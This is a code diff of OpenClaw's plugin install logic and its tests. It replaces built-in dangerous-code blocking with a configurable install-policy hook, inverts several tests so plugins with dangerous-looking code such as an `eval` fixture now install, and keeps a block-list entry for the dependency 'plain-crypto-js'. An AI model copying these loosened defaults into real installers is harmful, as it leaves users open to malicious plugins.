return await preflightPluginGitInstallPolicyRuntime(params);
}
export async function evaluateSkillInstallPolicy(params: {
config?: OpenClawConfig;
installId: string;
installSpec?: SkillInstallSpecMetadata;
logger: InstallScanLogger;
origin: string;
origin: InstallPolicyOrigin;
requestedSpecifier?: string;
source?: InstallPolicySource;
mode?: "install" | "update";
skillName: string;
sourceDir: string;
}): Promise<InstallSecurityScanResult | undefined> {
const { scanSkillInstallSourceRuntime } = await loadInstallSecurityScanRuntime();
return await scanSkillInstallSourceRuntime(params);
const { evaluateSkillInstallPolicyRuntime } = await loadInstallSecurityScanRuntime();
return await evaluateSkillInstallPolicyRuntime(params);
}
@@ -1,4 +1,7 @@
import type { OpenClawConfig } from "../config/types.openclaw.js";
export type InstallSafetyOverrides = {
config?: OpenClawConfig;
dangerouslyForceUnsafeInstall?: boolean;
trustedSourceLinkedOfficialInstall?: boolean;
};
+32 -48
View File
@@ -718,7 +718,7 @@ describe("installPluginFromNpmSpec", () => {
expect(runCommandWithTimeoutMock.mock.calls).toHaveLength(1);
});
it("rolls back staged npm pack archives when a forced update is blocked", async () => {
it("updates staged npm pack archives when dangerous-looking code is present", async () => {
const stateDir = suiteTempRootTracker.makeTempDir();
const npmRoot = path.join(stateDir, "npm");
const packageName = "@openclaw/pack-demo";
@@ -765,22 +765,21 @@ describe("installPluginFromNpmSpec", () => {
},
]);
const blockedUpdate = await installPluginFromNpmPackArchive({
const update = await installPluginFromNpmPackArchive({
archivePath: archiveV2Path,
npmDir: npmRoot,
mode: "update",
logger: { info: () => {}, warn: () => {} },
});
expect(blockedUpdate.ok).toBe(false);
if (blockedUpdate.ok) {
expect(update.ok).toBe(true);
if (!update.ok) {
return;
}
expect(blockedUpdate.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED);
expect(readTextFileTree(npmProjectRoot)).toEqual(projectBefore);
expect(readTextFileTree(npmProjectRoot)).not.toEqual(projectBefore);
});
it("cleans staged npm pack archives when a fresh install is blocked", async () => {
it("installs staged npm pack archives with dangerous-looking code", async () => {
const stateDir = suiteTempRootTracker.makeTempDir();
const npmRoot = path.join(stateDir, "npm");
const packageName = "@openclaw/pack-demo";
@@ -800,24 +799,22 @@ describe("installPluginFromNpmSpec", () => {
},
]);
const blockedInstall = await installPluginFromNpmPackArchive({
const install = await installPluginFromNpmPackArchive({
archivePath,
npmDir: npmRoot,
logger: { info: () => {}, warn: () => {} },
});
expect(blockedInstall.ok).toBe(false);
if (blockedInstall.ok) {
expect(install.ok).toBe(true);
if (!install.ok) {
return;
}
expect(blockedInstall.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED);
const npmProjectRoot = resolvePluginNpmProjectDir({
npmDir: npmRoot,
packageName,
});
expect(fs.existsSync(path.join(npmProjectRoot, "_openclaw-pack-archives"))).toBe(false);
expect(fs.existsSync(path.join(npmProjectRoot, "package.json"))).toBe(false);
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, packageName))).toBe(false);
expect(fs.existsSync(path.join(npmProjectRoot, "package.json"))).toBe(true);
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, packageName))).toBe(true);
});
it("installs npm plugins into .openclaw/npm", async () => {
@@ -1023,12 +1020,12 @@ describe("installPluginFromNpmSpec", () => {
expect(fs.existsSync(path.join(quarantineDir, "package-lock.json"))).toBe(true);
});
it("scans rebuilt hoisted dependencies after managed npm project quarantine", async () => {
it("allows rebuilt hoisted dependencies after managed npm project quarantine", async () => {
const stateDir = suiteTempRootTracker.makeTempDir();
const npmRoot = path.join(stateDir, "npm");
const packageName = "unsafe-rebuild-plugin";
const npmProjectRoot = resolvePluginNpmProjectDir({ npmDir: npmRoot, packageName });
fs.mkdirSync(path.join(npmProjectRoot, "node_modules", "plain-crypto-js"), {
fs.mkdirSync(path.join(npmProjectRoot, "node_modules", "stale-hoisted-helper"), {
recursive: true,
});
@@ -1039,7 +1036,7 @@ describe("installPluginFromNpmSpec", () => {
pluginId: packageName,
npmRoot,
expectedDependencySpec: "1.0.0",
hoistedDependency: { name: "plain-crypto-js", version: "1.0.0" },
hoistedDependency: { name: "stale-hoisted-helper", version: "1.0.0" },
});
const delegate = runCommandWithTimeoutMock.getMockImplementation();
if (!delegate) {
@@ -1066,10 +1063,7 @@ describe("installPluginFromNpmSpec", () => {
logger: { info: () => {}, warn: () => {} },
});
expect(result.ok).toBe(false);
if (!result.ok) {
expect(result.error).toContain("plain-crypto-js");
}
expect(result.ok).toBe(true);
expect(managedInstallAttempts).toBe(2);
});
@@ -1144,7 +1138,7 @@ describe("installPluginFromNpmSpec", () => {
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, packageName))).toBe(false);
});
it("rejects npm installs with blocked hoisted transitive dependencies", async () => {
it("blocks npm installs with denied hoisted transitive dependencies", async () => {
const stateDir = suiteTempRootTracker.makeTempDir();
const npmRoot = path.join(stateDir, "npm");
@@ -1165,8 +1159,9 @@ describe("installPluginFromNpmSpec", () => {
expect(result.ok).toBe(false);
if (!result.ok) {
expect(result.error).toContain("plain-crypto-js");
expect(result.error).toContain(path.join("node_modules", "plain-crypto-js"));
expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED);
expect(result.error).toContain('blocked dependencies "plain-crypto-js" as package name');
expect(result.error).toContain("node_modules/plain-crypto-js/package.json");
}
});
@@ -1860,7 +1855,7 @@ describe("installPluginFromNpmSpec", () => {
).toBe(false);
});
it("allows npm-spec installs with dangerous code patterns when forced unsafe install is set", async () => {
it("treats dangerouslyForceUnsafeInstall as a no-op for npm-spec installs", async () => {
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
const warnings: string[] = [];
mockNpmViewAndInstall({
@@ -1883,13 +1878,7 @@ describe("installPluginFromNpmSpec", () => {
});
expect(result.ok).toBe(true);
expect(
warnings.some((warning) =>
warning.includes(
"forced despite dangerous code patterns via --dangerously-force-unsafe-install",
),
),
).toBe(true);
expect(warnings).toStrictEqual([]);
expectNpmInstallIntoProject({
calls: runCommandWithTimeoutMock.mock.calls,
npmRoot,
@@ -2212,7 +2201,7 @@ describe("installPluginFromNpmSpec", () => {
);
});
it("rolls back installed npm package debris when security scan blocks the plugin", async () => {
it("keeps installed npm package output when dangerous-looking plugin code is present", async () => {
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
mockNpmViewAndInstall({
spec: "dangerous-plugin@1.0.0",
@@ -2229,18 +2218,18 @@ describe("installPluginFromNpmSpec", () => {
logger: { info: () => {}, warn: () => {} },
});
expect(result.ok).toBe(false);
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, "dangerous-plugin"))).toBe(false);
expect(result.ok).toBe(true);
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, "dangerous-plugin"))).toBe(true);
const npmProjectRoot = resolvePluginNpmProjectDir({
npmDir: npmRoot,
packageName: "dangerous-plugin",
});
await expect(
fs.promises.access(path.join(npmProjectRoot, "package.json")),
).rejects.toHaveProperty("code", "ENOENT");
).resolves.toBeUndefined();
});
it("leaves a stale legacy shared npm root untouched when a per-plugin update is blocked", async () => {
it("leaves a stale legacy shared npm root untouched when a per-plugin update succeeds", async () => {
const stateDir = suiteTempRootTracker.makeTempDir();
const npmRoot = path.join(stateDir, "npm");
const legacyNodeModulesRoot = path.join(npmRoot, "node_modules");
@@ -2331,8 +2320,6 @@ describe("installPluginFromNpmSpec", () => {
const legacyManifestBefore = fs.readFileSync(path.join(npmRoot, "package.json"), "utf8");
const legacyLockfileBefore = fs.readFileSync(path.join(npmRoot, "package-lock.json"), "utf8");
const legacyNodeModulesBefore = readTextFileTree(legacyNodeModulesRoot);
const projectBefore = readTextFileTree(npmProjectRoot);
mockNpmViewAndInstall({
spec: "dangerous-plugin@2.0.0",
packageName: "dangerous-plugin",
@@ -2350,17 +2337,15 @@ describe("installPluginFromNpmSpec", () => {
logger: { info: () => {}, warn: () => {} },
});
expect(result.ok).toBe(false);
if (result.ok) {
expect(result.ok).toBe(true);
if (!result.ok) {
return;
}
expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED);
expectNpmInstallIntoProject({
calls: runCommandWithTimeoutMock.mock.calls,
npmRoot,
packageName: "dangerous-plugin",
});
expect(readTextFileTree(npmProjectRoot)).toEqual(projectBefore);
expect(fs.readFileSync(path.join(npmRoot, "package.json"), "utf8")).toBe(legacyManifestBefore);
expect(fs.readFileSync(path.join(npmRoot, "package-lock.json"), "utf8")).toBe(
legacyLockfileBefore,
@@ -2393,7 +2378,7 @@ describe("installPluginFromNpmSpec", () => {
];
it.each(officialLaunchPluginCases)(
"blocks direct official npm plugin $spec with launch code without source provenance",
"allows direct official npm plugin $spec with launch code without source provenance",
async ({ spec, pluginId, indexJs }) => {
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
const warnings: string[] = [];
@@ -2415,12 +2400,11 @@ describe("installPluginFromNpmSpec", () => {
},
});
expect(result.ok).toBe(false);
if (result.ok) {
expect(result.ok).toBe(true);
if (!result.ok) {
return;
}
expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED);
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, spec))).toBe(false);
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, spec))).toBe(true);
expect(
warnings.some((warning) =>
warning.includes("allowed because it is an official OpenClaw package"),
+102 -17
View File
@@ -1,6 +1,7 @@
import fs from "node:fs";
import path from "node:path";
import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
import type { OpenClawConfig } from "../config/types.openclaw.js";
import { runCommandWithTimeout } from "../process/exec.js";
import { initializeGlobalHookRunner, resetGlobalHookRunner } from "./hook-runner-global.js";
import { createMockPluginRegistry } from "./hooks.test-helpers.js";
@@ -136,12 +137,14 @@ function setupNativePluginInstallFixture() {
}
async function installFromFileWithWarnings(params: {
config?: OpenClawConfig;
extensionsDir: string;
filePath: string;
dangerouslyForceUnsafeInstall?: boolean;
}) {
const warnings: string[] = [];
const result = await installPluginFromFile({
config: params.config,
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
filePath: params.filePath,
extensionsDir: params.extensionsDir,
@@ -240,7 +243,7 @@ describe("installPluginFromPath", () => {
},
builtinScan: {
status: "ok",
scannedFiles: 1,
scannedFiles: 0,
critical: 0,
warn: 0,
info: 0,
@@ -259,40 +262,102 @@ describe("installPluginFromPath", () => {
});
});
it("blocks plain file installs when the scanner finds dangerous code patterns", async () => {
it("allows plain file installs with dangerous code patterns without built-in scanner blocking", async () => {
const baseDir = suiteTempRootTracker.makeTempDir();
const extensionsDir = path.join(baseDir, "extensions");
fs.mkdirSync(extensionsDir, { recursive: true });
const sourcePath = path.join(baseDir, "payload.js");
fs.writeFileSync(sourcePath, "eval('danger');\n", "utf-8");
const expectedFinding = `Dynamic code execution detected (${sourcePath}:1)`;
const { result, warnings } = await installFromFileWithWarnings({
filePath: sourcePath,
extensionsDir,
});
expect(result.ok).toBe(true);
expect(warnings).toStrictEqual([]);
});
it("runs install policy before dry-run file install returns", async () => {
const baseDir = suiteTempRootTracker.makeTempDir();
const extensionsDir = path.join(baseDir, "extensions");
fs.mkdirSync(extensionsDir, { recursive: true });
const sourcePath = path.join(baseDir, "payload.js");
fs.writeFileSync(sourcePath, "console.log('SAFE');\n", "utf-8");
const config = {
security: {
installPolicy: {
enabled: true,
exec: {
source: "exec",
command: process.execPath,
args: [
"-e",
'process.stdin.resume();process.stdin.on("end",()=>{process.stdout.write(JSON.stringify({protocolVersion:1,decision:"block",reason:"blocked file plugin"}));});',
],
allowInsecurePath: true,
},
},
},
} satisfies OpenClawConfig;
const result = await installPluginFromFile({
config,
filePath: sourcePath,
extensionsDir,
dryRun: true,
});
expect(result.ok).toBe(false);
if (!result.ok) {
expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED);
expect(result.error).toBe(
`Plugin file "payload" installation blocked: dangerous code patterns detected: ${expectedFinding}`,
);
expect(result.error).toContain("blocked by install policy: blocked file plugin");
}
expect(warnings).toEqual([
`WARNING: Plugin file "payload" contains dangerous code patterns: ${expectedFinding}`,
]);
});
it("allows plain file installs with dangerous code patterns when forced unsafe install is set", async () => {
it("logs locationless install policy warnings without undefined locations", async () => {
const baseDir = suiteTempRootTracker.makeTempDir();
const extensionsDir = path.join(baseDir, "extensions");
fs.mkdirSync(extensionsDir, { recursive: true });
const sourcePath = path.join(baseDir, "payload.js");
fs.writeFileSync(sourcePath, "console.log('SAFE');\n", "utf-8");
const config = {
security: {
installPolicy: {
enabled: true,
exec: {
source: "exec",
command: process.execPath,
args: [
"-e",
'process.stdin.resume();process.stdin.on("end",()=>{process.stdout.write(JSON.stringify({protocolVersion:1,decision:"allow",findings:[{ruleId:"registry-review",severity:"warn",message:"Registry requires review."}]}));});',
],
allowInsecurePath: true,
},
},
},
} satisfies OpenClawConfig;
const { result, warnings } = await installFromFileWithWarnings({
config,
filePath: sourcePath,
extensionsDir,
});
expect(result.ok).toBe(true);
expect(warnings).toEqual(["Install policy: Registry requires review."]);
});
it("treats dangerouslyForceUnsafeInstall as a no-op for plain file installs", async () => {
const baseDir = suiteTempRootTracker.makeTempDir();
const extensionsDir = path.join(baseDir, "extensions");
fs.mkdirSync(extensionsDir, { recursive: true });
const sourcePath = path.join(baseDir, "payload.js");
fs.writeFileSync(sourcePath, "eval('danger');\n", "utf-8");
const expectedFinding = `Dynamic code execution detected (${sourcePath}:1)`;
const { result, warnings } = await installFromFileWithWarnings({
filePath: sourcePath,
@@ -301,10 +366,30 @@ describe("installPluginFromPath", () => {
});
expect(result.ok).toBe(true);
expect(warnings).toEqual([
`WARNING: Plugin file "payload" contains dangerous code patterns: ${expectedFinding}`,
`WARNING: Plugin file "payload" installation forced despite dangerous code patterns via --dangerously-force-unsafe-install: ${expectedFinding}`,
]);
expect(warnings).toStrictEqual([]);
});
it("rejects managed plain file plugin installs through path install", async () => {
const baseDir = suiteTempRootTracker.makeTempDir();
const extensionsDir = path.join(baseDir, "extensions");
fs.mkdirSync(extensionsDir, { recursive: true });
const sourcePath = path.join(baseDir, "payload.js");
fs.writeFileSync(sourcePath, "console.log('SAFE');\n", "utf-8");
const result = await installPluginFromPath({
path: sourcePath,
extensionsDir,
});
expect(result.ok).toBe(false);
if (result.ok) {
return;
}
expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.UNSUPPORTED_PLAIN_FILE_PLUGIN);
expect(result.error).toBe(
"Plain file plugin installs are not supported. Install a plugin directory or archive that contains openclaw.plugin.json, or list standalone plugin files in plugins.load.paths.",
);
});
it("blocks hardlink alias overwrites when installing a plain file plugin", async () => {
@@ -322,8 +407,8 @@ describe("installPluginFromPath", () => {
const targetPath = path.join(extensionsDir, "payload.js");
fs.linkSync(victimPath, targetPath);
const result = await installPluginFromPath({
path: sourcePath,
const result = await installPluginFromFile({
filePath: sourcePath,
extensionsDir,
mode: "update",
});
+493 -1074
View File
File diff suppressed because it is too large Load Diff
+186 -43
View File
@@ -4,6 +4,7 @@ import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce";
import type { OpenClawConfig } from "../config/types.openclaw.js";
import { satisfiesPluginApiRange } from "../infra/clawhub.js";
import { packageNameMatchesId } from "../infra/install-safe-path.js";
import {
@@ -44,6 +45,7 @@ import {
} from "../infra/safe-package-install.js";
import { compareComparableSemver, parseComparableSemver } from "../infra/semver-compare.js";
import { runCommandWithTimeout } from "../process/exec.js";
import type { InstallPolicySource } from "../security/install-policy.js";
import { createLazyImportLoader } from "../shared/lazy-promise.js";
import { resolveUserPath } from "../utils.js";
import {
@@ -55,8 +57,11 @@ import {
safePluginInstallFileName,
validatePluginId,
} from "./install-paths.js";
import type { InstallSecurityScanResult } from "./install-security-scan.js";
import type { InstallSafetyOverrides } from "./install-security-scan.js";
import {
preflightPluginNpmInstallPolicy,
type InstallSecurityScanResult,
type InstallSafetyOverrides,
} from "./install-security-scan.js";
import {
resolvePackageExtensionEntries,
type OpenClawPackageManifest,
@@ -130,6 +135,7 @@ export const PLUGIN_INSTALL_ERROR_CODE = {
PLUGIN_ID_MISMATCH: "plugin_id_mismatch",
SECURITY_SCAN_BLOCKED: "security_scan_blocked",
SECURITY_SCAN_FAILED: "security_scan_failed",
UNSUPPORTED_PLAIN_FILE_PLUGIN: "unsupported_plain_file_plugin",
} as const;
export type PluginInstallErrorCode =
@@ -243,6 +249,7 @@ export type PluginNpmIntegrityDriftParams = {
type PluginInstallPolicyRequest = {
kind: "plugin-dir" | "plugin-archive" | "plugin-file" | "plugin-npm" | "plugin-git";
requestedSpecifier?: string;
source?: InstallPolicySource;
};
const defaultLogger: PluginInstallLogger = {};
@@ -1110,6 +1117,9 @@ async function installPluginFromManagedNpmRoot(
displaySpec: string;
installPolicyRequest: PluginInstallPolicyRequest;
npmResolution: NpmSpecResolution;
policyPreflightSourcePath?: string;
policyPreflightSourcePathKind?: "file" | "directory";
skipPolicyPreflight?: boolean;
extensionsDir?: string;
npmDir?: string;
timeoutMs?: number;
@@ -1145,6 +1155,28 @@ async function installPluginFromManagedNpmRoot(
if (!availability.ok) {
return availability;
}
if (!params.skipPolicyPreflight) {
const preflightPolicyResult = await runInstallSourceScan({
subject: `Plugin "${expectedPluginId ?? params.packageName}"`,
scan: async () =>
await preflightPluginNpmInstallPolicy({
config: params.config,
logger,
mode: effectiveMode,
packageName: params.packageName,
...(expectedPluginId ? { pluginId: expectedPluginId } : {}),
requestedSpecifier: params.installPolicyRequest.requestedSpecifier ?? params.displaySpec,
source: params.installPolicyRequest.source,
sourcePath: params.policyPreflightSourcePath ?? npmRoot,
sourcePathKind: params.policyPreflightSourcePathKind ?? "directory",
}),
});
if (preflightPolicyResult) {
return preflightPolicyResult;
}
}
if (dryRun) {
return {
ok: true,
@@ -1432,6 +1464,7 @@ async function installPluginFromManagedNpmRoot(
});
const result = await installPluginFromInstalledPackageDir({
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
config: params.config,
additionalDependencyPackageDirs: newRootPackageDirs,
packageDir: installRoot,
dependencyScanRootDir: npmRoot,
@@ -1579,21 +1612,11 @@ type PackageInstallCommonParams = InstallSafetyOverrides & {
installPolicyRequest?: PluginInstallPolicyRequest;
};
type FileInstallCommonParams = Pick<
PackageInstallCommonParams,
| "dangerouslyForceUnsafeInstall"
| "trustedSourceLinkedOfficialInstall"
| "extensionsDir"
| "logger"
| "mode"
| "dryRun"
| "installPolicyRequest"
>;
function pickPackageInstallCommonParams(
params: PackageInstallCommonParams,
): PackageInstallCommonParams {
return {
config: params.config,
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall,
extensionsDir: params.extensionsDir,
@@ -1609,17 +1632,31 @@ function pickPackageInstallCommonParams(
};
}
function pickFileInstallCommonParams(params: FileInstallCommonParams): FileInstallCommonParams {
function installPolicyRequestForPath(
params: PackageInstallCommonParams & { path: string },
kind: PluginInstallPolicyRequest["kind"],
): PluginInstallPolicyRequest {
const requestKind =
params.installPolicyRequest?.kind === "plugin-git" && kind === "plugin-dir"
? "plugin-git"
: kind;
return {
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
extensionsDir: params.extensionsDir,
logger: params.logger,
mode: params.mode,
dryRun: params.dryRun,
installPolicyRequest: params.installPolicyRequest,
kind: requestKind,
requestedSpecifier: params.installPolicyRequest?.requestedSpecifier ?? params.path,
source: params.installPolicyRequest?.source ?? localPluginInstallPolicySource(requestKind),
};
}
function localPluginInstallPolicySource(kind: PluginInstallPolicyRequest["kind"]) {
if (kind === "plugin-archive") {
return { kind: "archive", authority: "user", mutable: true, network: false } as const;
}
if (kind === "plugin-file") {
return { kind: "file", authority: "user", mutable: true, network: false } as const;
}
return { kind: "local-path", authority: "user", mutable: true, network: false } as const;
}
type PreparedInstallTarget = {
targetPath: string;
effectiveMode: "install" | "update";
@@ -1879,11 +1916,13 @@ async function installBundleFromSourceDir(
scan: async () =>
await runtime.scanBundleInstallSource({
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
config: params.config,
sourceDir: params.sourceDir,
pluginId,
logger,
requestKind: params.installPolicyRequest?.kind,
requestedSpecifier: params.installPolicyRequest?.requestedSpecifier,
source: params.installPolicyRequest?.source,
mode: targetResult.target.effectiveMode,
version: manifestRes.manifest.version,
}),
@@ -1968,6 +2007,7 @@ async function validatePackagePluginInstallSource(params: {
allowSourceTypeScriptEntries?: boolean;
dangerouslyForceUnsafeInstall?: boolean;
trustedSourceLinkedOfficialInstall?: boolean;
config?: OpenClawConfig;
installPolicyRequest?: PluginInstallPolicyRequest;
logger: PluginInstallLogger;
mode: "install" | "update";
@@ -2078,12 +2118,14 @@ async function validatePackagePluginInstallSource(params: {
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall,
packageDir: params.packageDir,
config: params.config,
pluginId,
logger: params.logger,
extensions,
...(packageMetadata ? { packageMetadata } : {}),
requestKind: params.installPolicyRequest?.kind,
requestedSpecifier: params.installPolicyRequest?.requestedSpecifier,
source: params.installPolicyRequest?.source,
mode: scanMode,
packageName: pkgName || undefined,
manifestId: manifestPluginId,
@@ -2117,6 +2159,11 @@ async function scanAndLinkInstalledPackage(params: {
peerDependencies: Record<string, string>;
dangerouslyForceUnsafeInstall?: boolean;
trustedSourceLinkedOfficialInstall?: boolean;
mode?: "install" | "update";
requestKind?: PluginInstallPolicyRequest["kind"];
requestedSpecifier?: string;
config?: OpenClawConfig;
source?: InstallPolicySource;
logger: PluginInstallLogger;
}): Promise<Extract<InstallPluginResult, { ok: false }> | null> {
const scanResult = await runInstallSourceScan({
@@ -2132,8 +2179,13 @@ async function scanAndLinkInstalledPackage(params: {
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
dependencyScanRootDir: params.dependencyScanRootDir,
logger: params.logger,
mode: params.mode,
packageDir: params.installedDir,
pluginId: params.pluginId,
config: params.config,
...(params.requestKind ? { requestKind: params.requestKind } : {}),
requestedSpecifier: params.requestedSpecifier,
source: params.source,
trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall,
}),
});
@@ -2171,6 +2223,7 @@ export async function installPluginFromInstalledPackageDir(
allowSourceTypeScriptEntries: params.allowSourceTypeScriptEntries,
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall,
config: params.config,
installPolicyRequest: params.installPolicyRequest,
logger,
mode: params.mode ?? "install",
@@ -2189,6 +2242,11 @@ export async function installPluginFromInstalledPackageDir(
peerDependencies: validated.plugin.peerDependencies,
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall,
config: params.config,
mode: params.mode ?? "install",
...(params.installPolicyRequest?.kind ? { requestKind: params.installPolicyRequest.kind } : {}),
requestedSpecifier: params.installPolicyRequest?.requestedSpecifier,
source: params.installPolicyRequest?.source,
logger,
});
if (postInstallError) {
@@ -2203,6 +2261,29 @@ export async function installPluginFromInstalledPackageDir(
});
}
export async function preflightPluginPackageInstallSource(
params: {
packageDir: string;
} & PackageInstallCommonParams,
): Promise<PluginInstallFailureResult | null> {
const runtime = await loadPluginInstallRuntime();
const { logger } = runtime.resolveTimedInstallModeOptions(params, defaultLogger);
const validated = await validatePackagePluginInstallSource({
runtime,
packageDir: params.packageDir,
expectedPluginId: params.expectedPluginId,
requirePluginManifest: params.requirePluginManifest,
allowSourceTypeScriptEntries: params.allowSourceTypeScriptEntries,
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall,
config: params.config,
installPolicyRequest: params.installPolicyRequest,
logger,
mode: params.mode ?? "install",
});
return validated.ok ? null : validated;
}
async function installPluginFromPackageDir(
params: {
packageDir: string;
@@ -2239,6 +2320,7 @@ async function installPluginFromPackageDir(
allowSourceTypeScriptEntries: params.allowSourceTypeScriptEntries,
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall,
config: params.config,
installPolicyRequest: params.installPolicyRequest,
logger,
mode,
@@ -2251,6 +2333,7 @@ async function installPluginFromPackageDir(
const { plugin } = validated;
preparedTarget = await resolvePreparedTargetForPluginId(plugin.pluginId);
const effectiveMode = preparedTarget.effectiveMode;
const hasBundleManifest = Boolean(runtime.detectBundleManifestFormat(params.packageDir));
const shouldInstallRuntimeDeps =
plugin.hasRuntimeDependencies &&
@@ -2267,7 +2350,7 @@ async function installPluginFromPackageDir(
extensionsDir: params.extensionsDir,
logger,
timeoutMs,
mode: preparedTarget.effectiveMode,
mode: effectiveMode,
dryRun,
copyErrorPrefix: "failed to copy plugin",
hasDeps: shouldInstallRuntimeDeps,
@@ -2282,6 +2365,13 @@ async function installPluginFromPackageDir(
peerDependencies: plugin.peerDependencies,
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall,
config: params.config,
mode: effectiveMode,
...(params.installPolicyRequest?.kind
? { requestKind: params.installPolicyRequest.kind }
: {}),
requestedSpecifier: params.installPolicyRequest?.requestedSpecifier,
source: params.installPolicyRequest?.source,
logger,
});
},
@@ -2300,6 +2390,7 @@ export async function installPluginFromArchive(
const installPolicyRequest = params.installPolicyRequest ?? {
kind: "plugin-archive",
requestedSpecifier: params.archivePath,
source: localPluginInstallPolicySource("plugin-archive"),
};
const archivePathResult = await runtime.resolveArchiveSourcePath(params.archivePath);
if (!archivePathResult.ok) {
@@ -2323,6 +2414,7 @@ export async function installPluginFromArchive(
logger,
mode,
dryRun: params.dryRun,
config: params.config,
expectedPluginId: params.expectedPluginId,
trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall,
requirePluginManifest: true,
@@ -2342,6 +2434,7 @@ export async function installPluginFromDir(
const installPolicyRequest = params.installPolicyRequest ?? {
kind: "plugin-dir",
requestedSpecifier: params.dirPath,
source: localPluginInstallPolicySource("plugin-dir"),
};
if (!(await runtime.fileExists(dirPath))) {
return { ok: false, error: `directory not found: ${dirPath}` };
@@ -2361,6 +2454,7 @@ export async function installPluginFromDir(
}
export async function installPluginFromFile(params: {
config?: OpenClawConfig;
filePath: string;
dangerouslyForceUnsafeInstall?: boolean;
extensionsDir?: string;
@@ -2376,6 +2470,7 @@ export async function installPluginFromFile(params: {
const installPolicyRequest = params.installPolicyRequest ?? {
kind: "plugin-file",
requestedSpecifier: params.filePath,
source: localPluginInstallPolicySource("plugin-file"),
};
if (!(await runtime.fileExists(filePath))) {
return { ok: false, error: `file not found: ${filePath}` };
@@ -2414,14 +2509,11 @@ export async function installPluginFromFile(params: {
return availability;
}
if (dryRun) {
return buildFileInstallResult(pluginId, preparedTarget.targetPath);
}
const scanResult = await runInstallSourceScan({
subject: `Plugin file "${pluginId}"`,
scan: async () =>
await runtime.scanFileInstallSource({
config: params.config,
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
filePath,
logger,
@@ -2434,6 +2526,10 @@ export async function installPluginFromFile(params: {
return scanResult;
}
if (dryRun) {
return buildFileInstallResult(pluginId, preparedTarget.targetPath);
}
logger.info?.(`Installing to ${preparedTarget.targetPath}`);
try {
const root = await runtime.root(extensionsDir);
@@ -2484,6 +2580,18 @@ export async function installPluginFromNpmSpec(
};
}
const npmBaseDir = params.npmDir ? resolveUserPath(params.npmDir) : resolveDefaultPluginNpmDir();
const npmRoot = resolvePluginNpmProjectDir({
npmDir: npmBaseDir,
packageName: parsedSpec.name,
});
const installRoot = resolveManagedNpmRootPackageDir(npmRoot, parsedSpec.name);
const effectiveMode = await resolveEffectiveInstallMode({
runtime,
requestedMode: mode,
targetPath: installRoot,
});
const metadataResult = await resolveNpmSpecMetadata({ spec, timeoutMs });
if (!metadataResult.ok) {
return {
@@ -2570,9 +2678,48 @@ export async function installPluginFromNpmSpec(
return { ok: false, error: driftResult.error };
}
const policyTempDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-npm-policy-"));
try {
const policyMetadataPath = path.join(policyTempDir, "npm-package-metadata.json");
await fs.writeFile(
policyMetadataPath,
`${JSON.stringify(
{
packageName: parsedSpec.name,
requestedSpecifier: spec,
resolution: npmResolution,
},
null,
2,
)}\n`,
"utf8",
);
const preflightPolicyResult = await runInstallSourceScan({
subject: `Plugin "${expectedPluginId ?? parsedSpec.name}"`,
scan: async () =>
await preflightPluginNpmInstallPolicy({
config: params.config,
logger,
mode: effectiveMode,
packageName: parsedSpec.name,
...(expectedPluginId ? { pluginId: expectedPluginId } : {}),
requestedSpecifier: spec,
source: { kind: "npm", authority: "third-party", mutable: false, network: true },
sourcePath: policyMetadataPath,
sourcePathKind: "file",
}),
});
if (preflightPolicyResult) {
return preflightPolicyResult;
}
} finally {
await fs.rm(policyTempDir, { recursive: true, force: true });
}
return await installPluginFromManagedNpmRoot({
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall,
config: params.config,
packageName: parsedSpec.name,
dependencySpec: resolveManagedNpmRootDependencySpec({
parsedSpec,
